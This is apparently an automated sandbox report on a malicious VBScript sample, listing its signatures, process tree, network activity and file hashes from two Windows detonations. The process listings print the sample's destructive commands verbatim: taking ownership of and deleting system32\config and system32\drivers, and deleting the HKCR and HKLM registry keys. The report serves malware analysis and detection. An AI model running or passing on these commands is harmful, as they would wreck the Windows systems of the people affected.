Malware Analysis Report

2024-11-16 12:52

Sample ID 240815-1lnj6a1brq
Target script.vbs
SHA256 7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7

Threat Level: Likely malicious

The file script.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Possible privilege escalation attempt

Modifies file permissions

Checks computer location settings

Enumerates physical storage devices

Checks processor information in registry

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious behavior: AddClipboardFormatListener

Suspicious use of FindShellTrayWindow

Suspicious behavior: GetForegroundWindowSpam

Opens file in notepad (likely ransom note)

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Modifies registry class

Modifies registry key

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-15 21:44

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-15 21:44

Reported

2024-08-15 21:47

Platform

win7-20240704-en

Max time kernel

11s

Max time network

16s

Command Line

cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2576 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2576 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2576 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2756 wrote to memory of 2760 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2756 wrote to memory of 2760 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2756 wrote to memory of 2760 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2756 wrote to memory of 2636 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2756 wrote to memory of 2636 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2756 wrote to memory of 2636 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2760 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2760 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2760 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2760 wrote to memory of 3064 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2760 wrote to memory of 3064 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2760 wrote to memory of 3064 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2636 wrote to memory of 2068 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2636 wrote to memory of 2068 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2636 wrote to memory of 2068 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2636 wrote to memory of 1464 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2636 wrote to memory of 1464 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2636 wrote to memory of 1464 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\config\*

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\config\* /grant everyone:(f)

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\drivers\*

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\drivers\* /grant everyone:(f)

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs

MD5 0355b976d816c3dafeda740c75450a08
SHA1 98de5b1ee4c653658966effecf248bf7a8df7cd1
SHA256 7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7
SHA512 2aa4dd903915d0f7394ebb8b802ad81d2aeda3561d94dc679b693a7e5b32a2f1bf79f0ddffb8971bd61f95b5a68d8bfbb8a5fa361f8580620ad7ab8985210779

C:\Users\Admin\Desktop\desktop.vbs

MD5 edc6cfebfd829729d9fc80aaaf02d193
SHA1 6d04bf8c7b542301f7eb77eeceed16969053537c
SHA256 d0391b24b4bb809ba05a9b9e3fbee72a8b39381b16567de0ca7d9f403211cb47
SHA512 8afab19929d1bc3fe4d878ee7dd0b711834e53564afdf8e7d0a7186d1f01b35f5f4aeba4d3c5c964e2fbda08203611dc8bd140b717d3e579dc4b3f1684e3908c

C:\Users\Admin\Downloads\ReadAdd.mp3

MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-15 21:44

Reported

2024-08-15 21:47

Platform

win10v2004-20240802-en

Max time kernel

149s

Max time network

151s

Command Line

cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\wermgr.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\wermgr.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\wermgr.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\wermgr.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\wermgr.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 720 wrote to memory of 4456 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 720 wrote to memory of 4456 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 4456 wrote to memory of 636 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 636 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 3820 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 3820 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3820 wrote to memory of 2732 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 3820 wrote to memory of 2732 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 636 wrote to memory of 2000 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 636 wrote to memory of 2000 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 636 wrote to memory of 1244 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 636 wrote to memory of 1244 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3820 wrote to memory of 3144 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3820 wrote to memory of 3144 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4456 wrote to memory of 1872 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 1872 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 3588 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 3588 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 4572 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4456 wrote to memory of 4572 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1872 wrote to memory of 4088 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\reg.exe
PID 1872 wrote to memory of 4088 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\reg.exe
PID 3588 wrote to memory of 5016 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\reg.exe
PID 3588 wrote to memory of 5016 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 4072 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 4072 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\reg.exe
PID 4436 wrote to memory of 728 N/A C:\Windows\system32\svchost.exe C:\Windows\system32\dashost.exe
PID 4436 wrote to memory of 728 N/A C:\Windows\system32\svchost.exe C:\Windows\system32\dashost.exe
PID 2252 wrote to memory of 1044 N/A C:\Windows\system32\OpenWith.exe C:\Windows\system32\NOTEPAD.EXE
PID 2252 wrote to memory of 1044 N/A C:\Windows\system32\OpenWith.exe C:\Windows\system32\NOTEPAD.EXE

Processes

C:\Windows\system32\cmd.exe

cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\drivers\*

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\config\*

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\config\* /grant everyone:(f)

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\drivers\* /grant everyone:(f)

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c reg.exe delete HKCR\*.dll /f

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c reg.exe delete HKCR\*.exe /f

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c reg.exe delete HKLM\* /f

C:\Windows\system32\reg.exe

reg.exe delete HKCR\*.dll /f

C:\Windows\system32\reg.exe

reg.exe delete HKCR\*.exe /f

C:\Windows\system32\reg.exe

reg.exe delete HKLM\* /f

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService

C:\Windows\system32\dashost.exe

dashost.exe {1e311568-a5fe-462b-b57c715b317ab229}

C:\Program Files\VideoLAN\VLC\vlc.exe

"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\StartComplete.mid"

C:\Windows\system32\wermgr.exe

"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3188" "928" "840" "932" "0" "0" "936" "940" "0" "0" "0" "0"

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\StartComplete.mid

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 167.57.26.184.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa udp
US 8.8.8.8:53 fe2cr.update.microsoft.com udp
US 40.78.107.251:443 fe2cr.update.microsoft.com tcp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 251.107.78.40.in-addr.arpa udp
US 8.8.8.8:53 download.windowsupdate.com udp
GB 92.123.143.240:80 download.windowsupdate.com tcp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

C:\Users\Admin\AppData\Local\Temp\script.wsf.vbs

MD5 0355b976d816c3dafeda740c75450a08
SHA1 98de5b1ee4c653658966effecf248bf7a8df7cd1
SHA256 7786be7dadf8cf4d51607d72cdd3a7f047668c91edfbf5c0623798688d712ab7
SHA512 2aa4dd903915d0f7394ebb8b802ad81d2aeda3561d94dc679b693a7e5b32a2f1bf79f0ddffb8971bd61f95b5a68d8bfbb8a5fa361f8580620ad7ab8985210779

C:\Users\Admin\Desktop\desktop.vbs

MD5 edc6cfebfd829729d9fc80aaaf02d193
SHA1 6d04bf8c7b542301f7eb77eeceed16969053537c
SHA256 d0391b24b4bb809ba05a9b9e3fbee72a8b39381b16567de0ca7d9f403211cb47
SHA512 8afab19929d1bc3fe4d878ee7dd0b711834e53564afdf8e7d0a7186d1f01b35f5f4aeba4d3c5c964e2fbda08203611dc8bd140b717d3e579dc4b3f1684e3908c

C:\Users\Admin\Music\SuspendProtect.mp3

MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

memory/3672-210-0x00007FF66A990000-0x00007FF66AA88000-memory.dmp

memory/3672-211-0x00007FFA189C0000-0x00007FFA189F4000-memory.dmp

memory/3672-212-0x00007FFA080C0000-0x00007FFA08376000-memory.dmp

memory/3672-213-0x00007FFA06600000-0x00007FFA076B0000-memory.dmp